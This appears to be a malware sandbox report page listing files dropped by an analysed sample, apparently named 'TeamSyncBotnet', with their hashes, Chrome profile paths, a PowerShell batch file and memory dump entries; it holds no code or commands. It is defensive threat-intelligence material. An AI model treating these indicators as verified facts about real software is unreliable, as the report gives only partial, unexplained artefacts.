b32af79fd313797b103a71ad60b2370629e5348a578728cd2db57372427c61cc

SHA512
5a1b93e4348152db8b128df1e93fca7877b2a6c4fa4ca7f0d6d6664493e605f3c49ed2be9a50cb2fdadd085b8702a879172051edc07582736d9ea9ba4d29359a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\fbb20ddf-f6f8-4e62-9e7a-9b5cd1f3c199.tmp

Filesize
9KB

MD5
c6363b418546de38b66a28887a1ef76c

SHA1
1f1d838554132e93bd28981366585d78ac7893d1

SHA256
7e36e086758cd6bc2f195604d60443987b4195ae61410c959f46fe1e158ab6a9

SHA512
87010e43fa2129ffe5859c156b0705cd670bc42f6e3e7bc04cf70483e295b236773f7882191ae98edd00daa22113ea41b576e83b37a828a8432b532c93141d73

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
195KB

MD5
d2ad5730d86c8e4b12f659b6cbf3ce23

SHA1
c55d6528cd5052894eba8d10175ba04342e0795c

SHA256
3f99fa99f83867ae9255b5e478588f4c2ed0656772dc191e81621628619d15f3

SHA512
a21db3066231d37ff7f60c9d3e25e6a0607aab0e17fdc2900b37037e65f5b782cbe7dfb588aba162106c174616772b3c03e6accef49aa1691db0cbfc6514c5d8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
262KB

MD5
87f776feddec3aa52e5c797656edb493

SHA1
b783eae96d43b20a4ec7a127476340e58aa8caed

SHA256
9724fd0137a46d4220fcd45a7673e8c68b6d32772f7aa1e3068b07a6bae2ad93

SHA512
782e932dfcbb7847697807e3cf7025963af954db5905d789069e085e3da80cafad3f1ef34ba7d28a495678310f260038efdfab303a9436cc4f7a465712419c19

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
196KB

MD5
c978d2f137da1ba478a94110701dde51

SHA1
82d36c4c080065ad3de7212fbe64a6751669ecb4

SHA256
824b2f86c6a1f23295648da7f66a63aef83687845a6577ea222300b376d37045

SHA512
393f443aa319c7c1564f71006862361c0ebe3561cece7e3c83dbff21cceaaca9312ffba318f6d00447f7eed0e202abb77becae45425453cd48e19d537db263b1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
195KB

MD5
436aa5ca2d249e24b4cd1d1c2fd4d668

SHA1
d3cde52ce0e5ee08f3b244ceecfa4b96ce6c095f

SHA256
336960af393e8cc09a53314297a19462036e0e9f2ac7e38808e696c6cec03661

SHA512
6651ea8e51c661835045a69885b739b5c007b567373c5dc4c3999d554affce0e075edd4ca7766e50cb13968f1c90449657ed636bf19d903e7060f6badf114ad5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
14f58e0e62f56d86f54876274dca9e06

SHA1
4b0e0cae1777e94342dbf9e8b5ca2021f670e087

SHA256
98e74b76f7ee1e6ae61b02dd58af3bc7fd0e843e656876bfa388124a17239988

SHA512
13200c1ad262c680b8497b7c25284c9061cc01366456d5f85f7a06d33af5da900cc092c5bf23909d3f99c97454720ae42af429814c28682237120bdb77f39a2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1g3t5byb.ghj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ps-driver.bat

Filesize
372KB

MD5
52a626d0c80a0e041f89db33dc8dd4fa

SHA1
1fc0fc601237094419145cac19dd030dc647f91a

SHA256
9e7c53d85a2bf4e048e499e0dc6bad575646d250c154f2aed6a042f65b8de51f

SHA512
9dc64b8be1f434cbbee07dd5893b2a883c33f1f13941fd57c623948e1b89e8b23f93496105d63e5c5c81980f4930c5ddb54ee846d156c2c2a69ce964cd49e2ef

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
42722c1a5adb7ba2d3c97479b88df748

SHA1
9405417b1869cff56c01482747db028342490ea9

SHA256
f071b7a2871b1d07bc8cf52dfcab1aec55bc6ee0f5ba035a62d573a478bec4c0

SHA512
01cff094b0449c1f5e6a983a9f38a3242b3f1d680e2d874b7502f5eb928d6e33ff28d630d44f4eba825da0e0848b524456cd534020174405a997b04477e3d9e6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
0f7f68ee314ed3b781a42984149e9ac3

SHA1
eb20756812ecb3f2414ceb03d688fa814f58dff5

SHA256
cbd94bd790669bfe4fd93a87b1a1782a63c65db695557da7b9d632849190fcfc

SHA512
0c923b68ec520b7a5afa59105f2f7fd3b3e35210705c5bb9acd452cc42a4c49a5aba0db2efdce94f5fab30d354825c160265a280cf5a92da30a1f77c4eef6ab8

Download Submit
C:\Users\Admin\Downloads\TeamSyncBotnet.zip:Zone.Identifier

Filesize
70B

MD5
8a21307a442e291f2298086eca4e21cc

SHA1
8fcc503c06184f96dd75e51a6842fd56eb04a467

SHA256
c48c77a49e776b49c149fe608ade75255534100850e094b02072819b0e924e91

SHA512
096a773853e2e4739dcd485323f4af100dd849a165b6110f630386e79e7fea80aa4853e097a59b08a5bda81ec133966c051b68bf5e6ec3f54b29b2396fd30b06

Download Submit
memory/672-106-0x00007FF8F49E0000-0x00007FF8F4BE9000-memory.dmp

Filesize
2.0MB

Download
memory/672-114-0x000001D2C2B00000-0x000001D2C2B4C000-memory.dmp

Filesize
304KB

Download
memory/672-105-0x000001D2C1C60000-0x000001D2C1C68000-memory.dmp

Filesize
32KB

Download
memory/672-113-0x000001D2C2A70000-0x000001D2C2AC8000-memory.dmp

Filesize
352KB

Download
memory/672-103-0x00007FF8F49E0000-0x00007FF8F4BE9000-memory.dmp

Filesize
2.0MB

Download
memory/672-104-0x00007FF8F3790000-0x00007FF8F384D000-memory.dmp

Filesize
756KB

Download
memory/672-102-0x000001D2A9590000-0x000001D2A9598000-memory.dmp

Filesize
32KB

Download
memory/672-111-0x00007FF8F49E0000-0x00007FF8F4BE9000-memory.dmp

Filesize
2.0MB

Download
memory/672-110-0x000001D2C2710000-0x000001D2C2798000-memory.dmp

Filesize
544KB

Download
memory/672-108-0x000001D2C26F0000-0x000001D2C26F8000-memory.dmp

Filesize
32KB

Download
memory/672-98-0x000001D2A9670000-0x000001D2A9692000-memory.dmp

Filesize
136KB

Download
memory/672-109-0x000001D2C2700000-0x000001D2C2708000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads